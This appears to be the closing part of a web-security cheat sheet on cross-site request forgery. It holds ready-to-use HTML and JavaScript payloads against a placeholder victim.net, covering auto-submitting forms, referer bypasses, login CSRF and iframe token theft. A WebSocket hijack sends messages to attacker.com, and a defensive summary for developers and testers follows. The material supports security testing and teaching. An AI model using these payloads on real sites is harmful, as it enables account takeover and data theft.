<img src="https://victim.net/search?q=x%0d%0aSet-Cookie:%20csrf=ATTACK"
onerror="document.getElementById('f').submit()">
<form id=f action="https://victim.net/change" method="POST">
<input type="hidden" name="csrf" value="ATTACK">
<input type="hidden" name="email" value="attacker@evil.tld">
</form>
Referer suppression#
<meta name="referrer" content="no-referrer">
<!-- or -->
<a rel="noreferrer" href="https://victim.net/...">click</a>
Force Referer query param (regex bypass)#
<meta name="referrer" content="unsafe-url">
<script>history.pushState('','','?victim.net');document.forms[0].submit();</script>
Pop-up to refresh cookie (Lax grace window)#
<button onclick="window.open('https://victim.net/login/sso')">Click me</button>
<!-- then within 2 minutes -->
<script>setTimeout(()=>document.forms[0].submit(),3000);</script>
Login CSRF#
<form action="https://victim.net/login" method="POST">
<input type="hidden" name="username" value="attacker@evil.tld">
<input type="hidden" name="password" value="Hunter2!">
</form>
<script>document.forms[0].submit();</script>
Steal token via same-origin iframe and resubmit#
<iframe id=i src="https://victim.net/profile" onload="go()"></iframe>
<script>
function go(){
const t=i.contentDocument.querySelector('input[name=csrf]').value;
fetch('https://victim.net/change',{method:'POST',credentials:'include',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'csrf='+t+'&email=attacker@evil.tld'});
}
</script>
(Only works when the target does not set X-Frame-Options / frame-ancestors and the attacker has a same-origin foothold, e.g. XSS on a sibling subdomain. Pure cross-origin iframes cannot read the DOM.)
WebSocket handshake CSRF (CSWSH)#
const ws = new WebSocket('wss://victim.net/socket');
ws.onopen = () => ws.send(JSON.stringify({action:'changeEmail',email:'attacker@evil.tld'}));
ws.onmessage = e => fetch('https://attacker.com/log?d='+encodeURIComponent(e.data));
OAuth state-missing chain#
https://victim.net/oauth/callback?code=ATTACKER_AUTH_CODE
(Forces victim’s browser to complete the attacker’s in-flight OAuth flow — attacker-account linking / session fixation.)
Defensive summary#
If you build web apps: use your framework’s CSRF protection, set SameSite=Lax or Strict on session cookies, validate Origin on state-changing requests, require custom headers on API routes, and never mutate state on GET. Use Fetch-Metadata (Sec-Fetch-Site) as a primary signal on modern stacks, with Origin/Referer as fallback. Bind any double-submit token with HMAC to the session.
If you test web apps: map every state-changing endpoint, run the token harness (absent / empty / cross-session / same-length / zero / cookie-mirror), swap methods and content-types, probe override channels, and look at the Set-Cookie for SameSite. Remember that login CSRF is real and that stored CSRF via a rich-text <img> multiplies impact. Chain rather than submit in isolation.
If you triage reports: unprotected logout is informational; unprotected login becomes medium-high when chained with stored XSS; unprotected admin-level state changes are high-to-critical; unprotected password/email change without step-up auth is a clean ATO and should be treated as such.
Compiled from 37 research sources covering the fundamentals, SameSite cookie mechanics, token bypass patterns, CORS-CSRF chains, real-world disclosures (Facebook GraphQL, WordPress nonce failures), OWASP Cheat Sheet guidance, and PortSwigger Web Security Academy labs.